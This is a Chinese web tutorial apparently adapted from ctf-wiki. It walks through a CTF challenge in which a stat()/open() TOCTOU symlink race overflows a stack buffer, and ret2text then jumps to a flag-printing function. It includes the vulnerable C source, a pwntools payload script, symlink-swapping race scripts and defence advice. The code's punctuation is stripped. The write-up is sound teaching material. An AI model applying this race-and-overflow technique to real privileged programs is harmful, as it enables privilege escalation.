ARTICLE DETAIL

资讯详情

深耕网站建设与运营推广的一线实战洞察。

ctf-wiki Linux 用户态 Pwn 实战:TOCTOU 符号链接条件竞争触发栈溢出的完整利用分析

ctf-wiki Linux 用户态 Pwn 实战:TOCTOU 符号链接条件竞争触发栈溢出的完整利用分析 文档网络安全教程【免费下载链接】ctf-wikiCome and join us, we need you!项目地址https://gitcode.com/gh_mirrors/ct/ctf-wiki点击查看免费下载本篇文章以 ctf-wiki 仓库中 race-condition/problem.md 记载的经典题目为主线系统讲解 Linux 用户态 Pwn 中TOCTOUTime-of-Check to Time-of-Use符号链接替换型条件竞争的成因、利用手法与防护思路。读者将掌握如何通过检查文件大小后、真正读取文件前的时间窗口用符号链接把目标偷换成大文件从而放大read写入量制造栈溢出再借助 ret2text 劫持返回地址拿到 flag 的完整攻击链路。条件竞争与 TOCTOU 漏洞从理论到题目定位什么是条件竞争条件竞争Race Condition指一个系统的运行结果依赖于不受控制的事件的先后顺序。当这些事件没有按照开发者预期的顺序发生时就可能出现 bug。该术语最初来自两个电信号互相竞争以影响输出结果。在计算机领域条件竞争主要出现在多线程程序和分布式程序中由于现代系统大量采用并发编程、经常共享资源这类漏洞相当常见。要产生条件竞争至少需要满足三个条件详见同目录的 introduction.md并发至少存在两个并发执行流包括线程、进程、任务等不同级别的执行流共享对象多个并发流会访问同一对象。常见的共享对象有共享内存、文件系统、信号访问共享对象的代码段称为临界区正常编码时这部分应当加锁改变对象至少有一个控制流会改变竞争对象的状态——如果程序只是对对象做读操作并不会产生条件竞争。由于并发执行流的不确定性很大条件竞争往往难以察觉、难以复现和调试这也给修复带来困难。其危害轻则程序异常执行重则程序崩溃一旦被攻击者利用很有可能获得系统的特权。时间窗口漏洞发生的本质条件竞争之所以会发生根源在于检查与使用之间存在一个极短的时间间隔程序先执行 action1检查再执行 action2使用开发者假设执行 action2 时 action1 产生的条件仍然成立但由于并发性攻击者可以在 action2 执行前的这个短暂时间窗口内破坏 action1 所建立的条件。即便这个时间间隔非常小攻击者仍可通过计算密集型操作、DoS 攻击等拖慢受害机器把窗口撑大。图Time Interval 示意——action1 与 action2 之间的空白区间正是条件竞争的可利用窗口。题目对应的漏洞类别CWE-367 TOCTOU 与 CWE-363 Link Following本题目属于TOCTOUTime-of-check Time-of-use条件竞争即程序在使用资源变量、内存、文件之前会进行检查但在真正使用该资源前资源已被修改。与之配套的具体形态是CWE-363Race Condition Enabling Link Following符号链接跟随型条件竞争。Linux 提供了两种对文件的命名方式二者解析到对象的方式不同文件路径名通过传入的路径文件名、硬链接、软链接间接解析参数并不是文件的真实地址inode文件描述符通过访问直接指向文件的指针来解析。正是路径名的间接性产生了可利用的时间窗口。以下代码展示了经典的access()fopen()竞态模式程序先检查文件是否存在、是否有写权限随后才打开文件。若在检查之后、使用之前攻击者把该路径替换为指向敏感文件的符号链接程序就会操作错误的文件图race_condition_file 示意——access() 检查与 fopen() 打开之间的红框区域即竞争窗口Race Window。以文件名为参数、存在同类风险的系统调用还有access()、open()、creat()、mkdir()、unlink()、rmdir()、chown()、symlink()、link()、rename()、chroot()等。题目源代码与程序流程分析完整源码题目核心程序test的源代码如下选自 problem.md#include fcntl.h #include stdio.h #include stdlib.h #include string.h #include sys/stat.h #include unistd.h void showflag() { system(cat flag); } void vuln(char *file, char *buf) { int number; int index 0; int fd open(file, O_RDONLY); if (fd -1) { perror(open file failed!!); return; } while (1) { number read(fd, buf index, 128); if (number 0) { break; } index number; } buf[index 1] \x00; } void check(char *file) { struct stat tmp; if (strcmp(file, flag) 0) { puts(file can not be flag!!); exit(0); } stat(file, tmp); if (tmp.st_size 255) { puts(file size is too large!!); exit(0); } } int main(int argc, char *argv[argc]) { char buf[256]; if (argc 2) { check(argv[1]); vuln(argv[1], buf); } else { puts(Usage ./prog filename); } return 0; }程序基本流程程序的执行逻辑非常清晰main接收命令行参数argv[1]若argc 2则进入处理流程check()若参数字符串本身就是flag直接退出随后调用stat()检查该文件若st_size 255即文件大小超过 255 字节则退出vuln()以只读方式open()打开该文件循环read(fd, buf index, 128)直到读完最后执行buf[index 1] \x00手动补一个字符串结束符。从表面看check限制了文件大小≤255而main中的buf大小是 256似乎刚好够用。但这里存在一个典型的 TOCTOU 条件竞争窗口stat()检查与open()打开之间并非原子操作。如果攻击者在程序检查完文件大小之后、真正打开文件之前将原文件删除并替换为指向更大文件的符号链接那么vuln实际读入的内容就会远超 255 字节从而造成栈溢出。漏洞根因的三个关键细节check中strcmp(file, flag) 0只比较参数字符串本身因此传入fake而非flag即可绕过名称检查stat(file, tmp)获取的是此刻路径所指向对象的大小——竞态中它可能是小文件open(file, O_RDONLY)会跟随符号链接解析目标竞态中被替换为指向大文件big的软链接时read读入的是大文件内容写入buf的数据量随之越界buf位于main栈帧256 字节vuln用栈上地址直接写入溢出会从buf一路覆盖到保存的ebp与返回地址。攻击思路与 Payload 构造目标ret2text 劫持返回地址题目二进制中存在一个现成的后门函数void showflag() { system(cat flag); }因此利用思路就是经典的ret2text通过栈溢出把main的返回地址改写成showflag的地址使main返回后直接执行system(cat flag)打印 flag。关于 ret2text 的基本原理与偏移计算方法可对照阅读仓库中 basic-rop.md 一节。通过反汇编与调试可以拿到showflag的符号地址。由于buf距离main的返回地址之间隔着 256 字节的buf加上 8 字节的保存的rbp64 位环境下所以payload 布局为256 字节填充a * 0x100 8 字节伪造的rbpb * 8showflag地址。# payload.py from pwn import * test ELF(./test) payload a * 0x100 b * 8 p64(test.symbols[showflag]) open(big, w).write(payload)这里用 pwntools 的ELF()自动解析showflag的地址并打包为 64 位小端p64把 272 字节的完整 payload 写入文件big。这个big文件就是后续被符号链接指向的超限文件。竞争脚本双进程打时间窗口题目环境中需要准备两个文件角色small大小不超过 255 字节、用于通过check检查的文件可用任意小文件充当big包含上述 272 字节 payload 的大文件用于触发溢出。攻击利用两个脚本协同竞争目标是在stat检查完成与open打开之间的窗口内完成符号链接替换# exp.sh竞争替换 fake 为指向 big 的符号链接 #!/bin/sh for i in seq 500 do cp small fake sleep 0.000008 rm fake ln -s big fake rm fake done# run.sh反复执行漏洞程序 #!/bin/sh for i in seq 1000 do ./test fake done两个脚本的分工如下exp.sh负责构造竞态先把fake复制成small保证check的stat看到的是小文件随后在极短的sleep0.000008 秒 ≈ 8 微秒后删除fake并建立指向big的符号链接如此循环 500 次run.sh负责持续触发让./test fake连续运行 1000 次使受害程序反复经过检查→使用路径只要某次open恰好落在ln -s big fake已生效、rm fake尚未执行的窗口内就成功把大文件内容读入buf。将两个脚本并行启动注意exp.sh放入后台子 shell(sh exp.sh ) sh run.sh实际运行效果运行结果节选如下➜ racetest (sh exp.sh ) sh run.sh [...] file size is too large!! open file failed!!: No such file or directory open file failed!!: No such file or directory open file failed!!: No such file or directory open file failed!!: No such file or directory file size is too large!! open file failed!!: No such file or directory open file failed!!: No such file or directory flag{race_condition_succeed!} [...]输出中出现的两类失败信息恰好印证了竞态的两面性file size is too large!!说明某次stat检查时fake已经指向big文件大小 255check正确拦截open file failed!!: No such file or directory说明某次open时fake恰好被rm删除、链接尚未重建文件不存在。而穿插其间的flag{race_condition_succeed!}说明某次迭代中stat看到了小文件、open却跟随符号链接打开了bigpayload 成功覆盖返回地址并跳转到showflag。成功的关键在于sleep时间的选择8 微秒的休眠让fake在以小文件身份存在和以符号链接指向 big两种状态之间高频切换同时run.sh的 1000 次执行提供了足够的命中概率。你可以根据本机 CPU 调度情况调整该值——太大会让open频繁撞上文件不存在或文件过大的检查太小则窗口过窄难以命中。防御与修复消除竞争窗口依据仓库中 introduction.md 的防范章节消除条件竞争的首要目标是找到并缩小竞争窗口race windows——即访问竞争对象的代码段只要让冲突的竞争窗口相互排斥就可以消除竞争条件。针对本类文件型 TOCTOU可以从两个层面入手1. 文件身份校验用 fstat 绑定检查与使用前面提到路径名是间接解析的因此正确的做法是先 open 拿到文件描述符再用fstat()从 fd 读取文件信息与预期信息比较后再使用。stat结构体中的两个字段可以唯一标识一个文件st_ino文件的序列号即 i-nodest_dev文件所在设备的设备号。由于fstat作用于已打开的描述符直接指向文件对象攻击者无法在检查与使用之间调包也就消除了 TOCTOU 窗口。2. 同步原语与原子操作对临界区加锁使用互斥锁、自旋锁spinlock、条件变量通常与互斥锁配合使用、信号量、临界区对象CRITICAL_SECTION等同步原语使检查与使用成为不可分割的临界区使用不跟随符号链接的原子接口如openatO_NOFOLLOW从系统调用层面拒绝符号链接跟随。3. 注意死锁风险同步原语使用不当会引入死锁——两个及以上执行流互相阻塞、循环等待资源。死锁需要同时满足四个必要条件互斥、持有并等待、不可抢占、循环等待打破任意一个即可解除死锁。死锁一般会造成拒绝服务攻击。检测手段由于条件竞争难以复现仓库文档还整理了业界常用的检测途径静态检测Flawfinder针对 C/C 源码建立漏洞数据库后做文本模式匹配无数据流/控制流分析ThreadSanitizerLLVM 实现面向 C 与 Go动态检测Intel Inspector、Valgrind等工具可用于运行时发现数据竞争。延伸阅读条件竞争理论、CWE 分类CWE-367 / CWE-365 / CWE-363 / CWE-364、同步原语与死锁、检测工具的完整说明见 race-condition/introduction.mdret2text 等栈溢出基础利用手法见 stackoverflow/x86/basic-rop.md本地做题环境Ubuntu/Docker pwntools gdb/pwndbg的搭建方式见 pwn/linux/user-mode/environment.md。小结本题是理解文件型 TOCTOU 条件竞争的最佳入门样例程序在stat()检查文件大小与open()真正打开文件之间留出了竞态窗口攻击者用cp/rm/ln -s脚本高频切换路径指向配合read循环无长度约束的缺陷把超限 payload 灌入 256 字节的栈缓冲最终通过 ret2text 覆盖返回地址执行showflag。掌握这一套路后你还可以进一步思考如何用fstatst_ino/st_dev修复它以及同样的时间窗口思想如何迁移到信号处理、共享内存等其他并发场景。赞分享文档网络安全教程【免费下载链接】ctf-wikiCome and join us, we need you!项目地址https://gitcode.com/gh_mirrors/ct/ctf-wiki点击查看免费下载相关推荐CTF Pwn 用户态竞态条件实战基于符号链接替换的 TOCTOU 栈溢出利用CTF Pwn 用户态竞态条件实战基于符号链接替换的 TOCTOU 栈溢出利用 条件竞争Race Condition是 Linux 用户态 Pwn 中一类文档网络安全教程ctf-wiki 深入解析Linux 用户态 Pwn 条件竞争Race Condition的原理、利用与防护ctf wiki 深入解析Linux 用户态 Pwn 条件竞争Race Condition的原理、利用与防护 导读 本篇技术指南以 ctf wiki 的文档网络安全教程CTF-Wiki 内核 Pwn 专题userfaultfd 在 Linux 内核条件竞争利用中的原理与实战CTF Wiki 内核 Pwn 专题userfaultfd 在 Linux 内核条件竞争利用中的原理与实战 导读 本文以 ctf wiki 仓库 https:文档网络安全教程上一篇GetQzonehistory把 QQ 空间十年老说说一次搬回家的完整指南下一篇Algo Deck vs. LeetCode哪种方式更适合算法面试准备终极指南创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考
返回列表